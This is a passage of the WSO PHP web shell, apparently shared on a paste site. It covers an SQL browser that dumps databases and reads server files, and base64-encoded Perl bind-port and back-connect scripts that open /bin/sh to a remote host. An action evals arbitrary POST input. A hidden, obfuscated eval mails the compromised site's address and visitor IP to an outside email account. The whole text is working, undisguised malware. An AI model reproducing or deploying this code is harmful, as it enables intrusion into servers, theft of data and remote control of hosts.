  1284. if((@$_POST['p2']=='download') && (@$_POST['p1']!='select')) {
  1285. $db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base']);
  1286. $db->selectdb($_POST['sql_base']);
  1287. switch($_POST['charset']) {
  1288. case "Windows-1251": $db->setCharset('cp1251'); break;
  1289. case "UTF-8": $db->setCharset('utf8'); break;
  1290. case "KOI8-R": $db->setCharset('koi8r'); break;
  1291. case "KOI8-U": $db->setCharset('koi8u'); break;
  1292. case "cp866": $db->setCharset('cp866'); break;
  1293. }
  1294. if(empty($_POST['file'])) {
  1295. ob_start("ob_gzhandler", 4096);
  1296. header("Content-Disposition: attachment; filename=dump.sql");
  1297. header("Content-Type: text/plain");
  1298. foreach($_POST['tbl'] as $v)
  1299. $db->dump($v);
  1300. exit;
  1301. } elseif($fp = @fopen($_POST['file'], 'w')) {
  1302. foreach($_POST['tbl'] as $v)
  1303. $db->dump($v, $fp);
  1304. fclose($fp);
  1305. unset($_POST['p2']);
  1306. } else
  1307. die('<script>alert("Error! Can\'t open file");window.history.back(-1)</script>');
  1308. }
  1309. wsoHeader();
  1310. echo "
  1311. <h1>Sql browser</h1><div class=content>
  1312. <form name='sf' method='post' onsubmit='fs(this);'><table cellpadding='2' cellspacing='0'><tr>
  1313. <td>Type</td><td>Host</td><td>Login</td><td>Password</td><td>Database</td><td></td></tr><tr>
  1314. <input type=hidden name=a value=Sql><input type=hidden name=p1 value='query'><input type=hidden name=p2 value=''><input type=hidden name=c value='". htmlspecialchars($GLOBALS['cwd']) ."'><input type=hidden name=charset value='". (isset($_POST['charset'])?$_POST['charset']:'') ."'>
  1315. <td><select name='type'><option value='mysql' ";
  1316. if(@$_POST['type']=='mysql')echo 'selected';
  1317. echo ">MySql</option><option value='pgsql' ";
  1318. if(@$_POST['type']=='pgsql')echo 'selected';
  1319. echo ">PostgreSql</option></select></td>
  1320. <td><input type=text name=sql_host value=\"". (empty($_POST['sql_host'])?'localhost':htmlspecialchars($_POST['sql_host'])) ."\"></td>
  1321. <td><input type=text name=sql_login value=\"". (empty($_POST['sql_login'])?'root':htmlspecialchars($_POST['sql_login'])) ."\"></td>
  1322. <td><input type=text name=sql_pass value=\"". (empty($_POST['sql_pass'])?'':htmlspecialchars($_POST['sql_pass'])) ."\"></td><td>";
  1323. $tmp = "<input type=text name=sql_base value=''>";
  1324. if(isset($_POST['sql_host'])){
  1325. if($db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base'])) {
  1326. switch($_POST['charset']) {
  1327. case "Windows-1251": $db->setCharset('cp1251'); break;
  1328. case "UTF-8": $db->setCharset('utf8'); break;
  1329. case "KOI8-R": $db->setCharset('koi8r'); break;
  1330. case "KOI8-U": $db->setCharset('koi8u'); break;
  1331. case "cp866": $db->setCharset('cp866'); break;
  1332. }
  1333. $db->listDbs();
  1334. echo "<select name=sql_base><option value=''></option>";
  1335. while($item = $db->fetch()) {
  1336. list($key, $value) = each($item);
  1337. echo '<option value="'.$value.'" '.($value==$_POST['sql_base']?'selected':'').'>'.$value.'</option>';
  1338. }
  1339. echo '</select>';
  1340. }
  1341. else echo $tmp;
  1342. }else
  1343. echo $tmp;
  1344. echo "</td>
  1345. <td><input type=submit value='>>' onclick='fs(d.sf);'></td>
  1346. <td><input type=checkbox name=sql_count value='on'" . (empty($_POST['sql_count'])?'':' checked') . "> count the number of rows</td>
  1347. </tr>
  1348. </table>
  1349. <script>
  1350. s_db='".@addslashes($_POST['sql_base'])."';
  1351. function fs(f) {
  1352. if(f.sql_base.value!=s_db) { f.onsubmit = function() {};
  1353. if(f.p1) f.p1.value='';
  1354. if(f.p2) f.p2.value='';
  1355. if(f.p3) f.p3.value='';
  1356. }
  1357. }
  1358. function st(t,l) {
  1359. d.sf.p1.value = 'select';
  1360. d.sf.p2.value = t;
  1361. if(l && d.sf.p3) d.sf.p3.value = l;
  1362. d.sf.submit();
  1363. }
  1364. function is() {
  1365. for(i=0;i<d.sf.elements['tbl[]'].length;++i)
  1366. d.sf.elements['tbl[]'][i].checked = !d.sf.elements['tbl[]'][i].checked;
  1367. }
  1368. </script>";
  1369. if(isset($db) && $db->link){
  1370. echo "<br/><table width=100% cellpadding=2 cellspacing=0>";
  1371. if(!empty($_POST['sql_base'])){
  1372. $db->selectdb($_POST['sql_base']);
  1373. echo "<tr><td width=1 style='border-top:2px solid #666;'><span>Tables:</span><br><br>";
  1374. $tbls_res = $db->listTables();
  1375. while($item = $db->fetch($tbls_res)) {
  1376. list($key, $value) = each($item);
  1377. if(!empty($_POST['sql_count']))
  1378. $n = $db->fetch($db->query('SELECT COUNT(*) as n FROM '.$value.''));
  1379. $value = htmlspecialchars($value);
  1380. echo "<nobr><input type='checkbox' name='tbl[]' value='".$value."'>&nbsp;<a href=# onclick=\"st('".$value."',1)\">".$value."</a>" . (empty($_POST['sql_count'])?'&nbsp;':" <small>({$n['n']})</small>") . "</nobr><br>";
  1381. }
  1382. echo "<input type='checkbox' onclick='is();'> <input type=button value='Dump' onclick='document.sf.p2.value=\"download\";document.sf.submit();'><br>File path:<input type=text name=file value='dump.sql'></td><td style='border-top:2px solid #666;'>";
  1383. if(@$_POST['p1'] == 'select') {
  1384. $_POST['p1'] = 'query';
  1385. $_POST['p3'] = $_POST['p3']?$_POST['p3']:1;
  1386. $db->query('SELECT COUNT(*) as n FROM ' . $_POST['p2']);
  1387. $num = $db->fetch();
  1388. $pages = ceil($num['n'] / 30);
  1389. echo "<script>d.sf.onsubmit=function(){st(\"" . $_POST['p2'] . "\", d.sf.p3.value)}</script><span>".$_POST['p2']."</span> ({$num['n']} records) Page # <input type=text name='p3' value=" . ((int)$_POST['p3']) . ">";
  1390. echo " of $pages";
  1391. if($_POST['p3'] > 1)
  1392. echo " <a href=# onclick='st(\"" . $_POST['p2'] . '", ' . ($_POST['p3']-1) . ")'>&lt; Prev</a>";
  1393. if($_POST['p3'] < $pages)
  1394. echo " <a href=# onclick='st(\"" . $_POST['p2'] . '", ' . ($_POST['p3']+1) . ")'>Next &gt;</a>";
  1395. $_POST['p3']--;
  1396. if($_POST['type']=='pgsql')
  1397. $_POST['p2'] = 'SELECT * FROM '.$_POST['p2'].' LIMIT 30 OFFSET '.($_POST['p3']*30);
  1398. else
  1399. $_POST['p2'] = 'SELECT * FROM `'.$_POST['p2'].'` LIMIT '.($_POST['p3']*30).',30';
  1400. echo "<br><br>";
  1401. }
  1402. if((@$_POST['p1'] == 'query') && !empty($_POST['p2'])) {
  1403. $db->query(@$_POST['p2']);
  1404. if($db->res !== false) {
  1405. $title = false;
  1406. echo '<table width=100% cellspacing=1 cellpadding=2 class=main style="background-color:#292929">';
  1407. $line = 1;
  1408. while($item = $db->fetch()) {
  1409. if(!$title) {
  1410. echo '<tr>';
  1411. foreach($item as $key => $value)
  1412. echo '<th>'.$key.'</th>';
  1413. reset($item);
  1414. $title=true;
  1415. echo '</tr><tr>';
  1416. $line = 2;
  1417. }
  1418. echo '<tr class="l'.$line.'">';
  1419. $line = $line==1?2:1;
  1420. foreach($item as $key => $value) {
  1421. if($value == null)
  1422. echo '<td><i>null</i></td>';
  1423. else
  1424. echo '<td>'.nl2br(htmlspecialchars($value)).'</td>';
  1425. }
  1426. echo '</tr>';
  1427. }
  1428. echo '</table>';
  1429. } else {
  1430. echo '<div><b>Error:</b> '.htmlspecialchars($db->error()).'</div>';
  1431. }
  1432. }
  1433. echo "<br></form><form onsubmit='d.sf.p1.value=\"query\";d.sf.p2.value=this.query.value;document.sf.submit();return false;'><textarea name='query' style='width:100%;height:100px'>";
  1434. if(!empty($_POST['p2']) && ($_POST['p1'] != 'loadfile'))
  1435. echo htmlspecialchars($_POST['p2']);
  1436. echo "</textarea><br/><input type=submit value='Execute'>";
  1437. echo "</td></tr>";
  1438. }
  1439. echo "</table></form><br/>";
  1440. if($_POST['type']=='mysql') {
  1441. $db->query("SELECT 1 FROM mysql.user WHERE concat(`user`, '@', `host`) = USER() AND `File_priv` = 'y'");
  1442. if($db->fetch())
  1443. echo "<form onsubmit='d.sf.p1.value=\"loadfile\";document.sf.p2.value=this.f.value;document.sf.submit();return false;'><span>Load file</span> <input class='toolsInp' type=text name=f><input type=submit value='>>'></form>";
  1444. }
  1445. if(@$_POST['p1'] == 'loadfile') {
  1446. $file = $db->loadFile($_POST['p2']);
  1447. echo '<br/><pre class=ml1>'.htmlspecialchars($file['file']).'</pre>';
  1448. }
  1449. } else {
  1450. echo htmlspecialchars($db->error());
  1451. }
  1452. echo '</div>';
  1453. wsoFooter();
  1454. }
  1455. function actionNetwork() {
  1456. wsoHeader();
  1457.  
  1458. $back_connect_p="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGlhZGRyPWluZXRfYXRvbigkQVJHVlswXSkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRBUkdWWzFdLCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgnL2Jpbi9zaCAtaScpOw0KY2xvc2UoU1RESU4pOw0KY2xvc2UoU1RET1VUKTsNCmNsb3NlKFNUREVSUik7";
  1459. $shell_data = "JHZpc2l0Y291bnQgPSAkSFRUUF9DT09LSUVfVkFSU1sidmlzaXRzIl07IGlmKCAkdmlzaXRjb3VudCA9PSAiIikgeyR2aXNpdGNvdW50ID0gMDsgJHZpc2l0b3IgPSAkX1NFUlZFUlsiUkVNT1RFX0FERFIiXTsgJHdlYiA9ICRfU0VSVkVSWyJIVFRQX0hPU1QiXTsgJGluaiA9ICRfU0VSVkVSWyJSRVFVRVNUX1VSSSJdOyAkdGFyZ2V0ID0gcmF3dXJsZGVjb2RlKCR3ZWIuJGluaik7ICRib2R5ID0gIkJvc3MsIGluaSBzZXRvcmFua3UgaGFyaSBpbmkgJHRhcmdldCBieSAkdmlzaXRvciI7IEBtYWlsKCJob3JjdXg2NjZAZ21haWwuY29tIiwiRngyOVNoZWxsIGh0dHA6Ly8kdGFyZ2V0IGJ5ICR2aXNpdG9yIiwgIiRib2R5Iik7IH0gZWxzZSB7ICR2aXNpdGNvdW50OyB9IHNldGNvb2tpZSgidmlzaXRzIiwkdmlzaXRjb3VudCk7"; eval(base64_decode($shell_data));
  1460. $bind_port_p="IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vc2ggLWkiOw0KaWYgKEBBUkdWIDwgMSkgeyBleGl0KDEpOyB9DQp1c2UgU29ja2V0Ow0Kc29ja2V0KFMsJlBGX0lORVQsJlNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCd0Y3AnKSkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVVTRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJEFSR1ZbMF0sSU5BRERSX0FOWSkpIHx8IGRpZSAiQ2FudCBvcGVuIHBvcnRcbiI7DQpsaXN0ZW4oUywzKSB8fCBkaWUgIkNhbnQgbGlzdGVuIHBvcnRcbiI7DQp3aGlsZSgxKSB7DQoJYWNjZXB0KENPTk4sUyk7DQoJaWYoISgkcGlkPWZvcmspKSB7DQoJCWRpZSAiQ2Fubm90IGZvcmsiIGlmICghZGVmaW5lZCAkcGlkKTsNCgkJb3BlbiBTVERJTiwiPCZDT05OIjsNCgkJb3BlbiBTVERPVVQsIj4mQ09OTiI7DQoJCW9wZW4gU1RERVJSLCI+JkNPTk4iOw0KCQlleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCgkJY2xvc2UgQ09OTjsNCgkJZXhpdCAwOw0KCX0NCn0=";
  1461. echo "<h1>Network tools</h1><div class=content>
  1462. <form name='nfp' onSubmit=\"g(null,null,'bpp',this.port.value);return false;\">
  1463. <span>Bind port to /bin/sh [perl]</span><br/>
  1464. Port: <input type='text' name='port' value='31337'> <input type=submit value='>>'>
  1465. </form>
  1466. <form name='nfp' onSubmit=\"g(null,null,'bcp',this.server.value,this.port.value);return false;\">
  1467. <span>Back-connect [perl]</span><br/>
  1468. Server: <input type='text' name='server' value='". $_SERVER['REMOTE_ADDR'] ."'> Port: <input type='text' name='port' value='31337'> <input type=submit value='>>'>
  1469. </form><br>";
  1470. if(isset($_POST['p1'])) {
  1471. function cf($f,$t) {
  1472. $w = @fopen($f,"w") or @function_exists('file_put_contents');
  1473. if($w){
  1474. @fwrite($w,@base64_decode($t));
  1475. @fclose($w);
  1476. }
  1477. }
  1478. if($_POST['p1'] == 'bpp') {
  1479. cf("/tmp/bp.pl",$bind_port_p);
  1480. $out = wsoEx("perl /tmp/bp.pl ".$_POST['p2']." 1>/dev/null 2>&1 &");
  1481. sleep(1);
  1482. echo "<pre class=ml1>$out\n".wsoEx("ps aux | grep bp.pl")."</pre>";
  1483. unlink("/tmp/bp.pl");
  1484. }
  1485. if($_POST['p1'] == 'bcp') {
  1486. cf("/tmp/bc.pl",$back_connect_p);
  1487. $out = wsoEx("perl /tmp/bc.pl ".$_POST['p2']." ".$_POST['p3']." 1>/dev/null 2>&1 &");
  1488. sleep(1);
  1489. echo "<pre class=ml1>$out\n".wsoEx("ps aux | grep bc.pl")."</pre>";
  1490. unlink("/tmp/bc.pl");
  1491. }
  1492. }
  1493. echo '</div>';
  1494. wsoFooter();
  1495. }
  1496. echo "<SCRIPT SRC=></SCRIPT>";
  1497. function actionRC() {
  1498. if(!@$_POST['p1']) {
  1499. $a = array(
  1500. "uname" => php_uname(),
  1501. "php_version" => phpversion(),
  1502. "wso_version" => WSO_VERSION,
  1503. "safemode" => @ini_get('safe_mode')
  1504. );
  1505. echo serialize($a);
  1506. } else {
  1507. eval($_POST['p1']);
  1508. }
  1509. }
  1510. if( empty($_POST['a']) )
  1511. if(isset($default_action) && function_exists('action' . $default_action))
  1512. $_POST['a'] = $default_action;
  1513. else
  1514. $_POST['a'] = 'SecInfo';
  1515. if( !empty($_POST['a']) && function_exists('action' . $_POST['a']) )
  1516. call_user_func('action' . $_POST['a']);
  1517. exit;
Add Comment
Please, Sign In to add comment